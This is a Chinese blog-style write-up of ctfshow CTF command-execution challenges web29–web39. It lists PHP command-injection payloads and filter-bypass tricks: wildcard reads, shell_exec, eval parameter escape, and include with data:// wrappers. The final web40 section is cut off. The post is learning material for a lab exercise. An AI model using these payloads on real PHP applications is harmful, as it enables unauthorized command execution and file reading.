ctfshow——命令执行

文章目录

  • web 29——通配符*绕过
  • web30——调用其他命令执行函数
  • web 31——参数逃逸
  • web 32-web 36——配合文件包含+伪协议
  • web 37-web 39——文件包含
  • web 40——

web 29——通配符*绕过

ctfshow——命令执行_第1张图片
i不区分大小写,直接?c=system('tac fl*.php');

ctfshow——命令执行_第2张图片

web30——调用其他命令执行函数

ctfshow——命令执行_第3张图片
调用其他代码执行函数,如shell_exec,该函数需要输出。payload:?c=echo shell_exec('tac fl*');。也可以使用反撇号代替shell_exec
ctfshow——命令执行_第4张图片

web 31——参数逃逸

ctfshow——命令执行_第5张图片
这里对c参数的过滤比较严谨,可以考虑将代码写到其他参数中。?c=eval($_GET[m]);&m=system('tac flag.php');

ctfshow——命令执行_第6张图片

注意:

  1. payload不能这样写:?c=eval($_GET[m];);&m=system('tac flag.php')
    ctfshow——命令执行_第7张图片
  2. 关于GET和POST传参参数写法,可以这样写$_GET[1]$_GET[x]$_GET[cmd]$_GET["cmd"]$_GET{cmd},不能这样写$_GET['x']

web 32-web 36——配合文件包含+伪协议

ctfshow——命令执行_第8张图片
payload:?c=include%0a$_GET[x]?>&x=data://text/plain,

  • %0a作用,这是url回车符,因为空格被过滤。事实上,删去也无所谓,似乎php会自动给字符串和变量间添加空格(经检验,只在eval中有效,echo中无效,还是得要空格)
  • 后面的?>的作用是作为绕过分号,作为语句的结束。原理是:php遇到定界符关闭标签会自动在末尾加上一个分号。简单来说,就是php文件中最后一句在?>前可以不写分号。
  • data协议用法:data://text/plain,

ctfshow——命令执行_第9张图片

web 37-web 39——文件包含

ctfshow——命令执行_第10张图片
直接文件包含:c=data://text/plain,
ctfshow——命令执行_第11张图片

web 40——

你可能感兴趣的:(渗透测试实践,网络安全,web安全)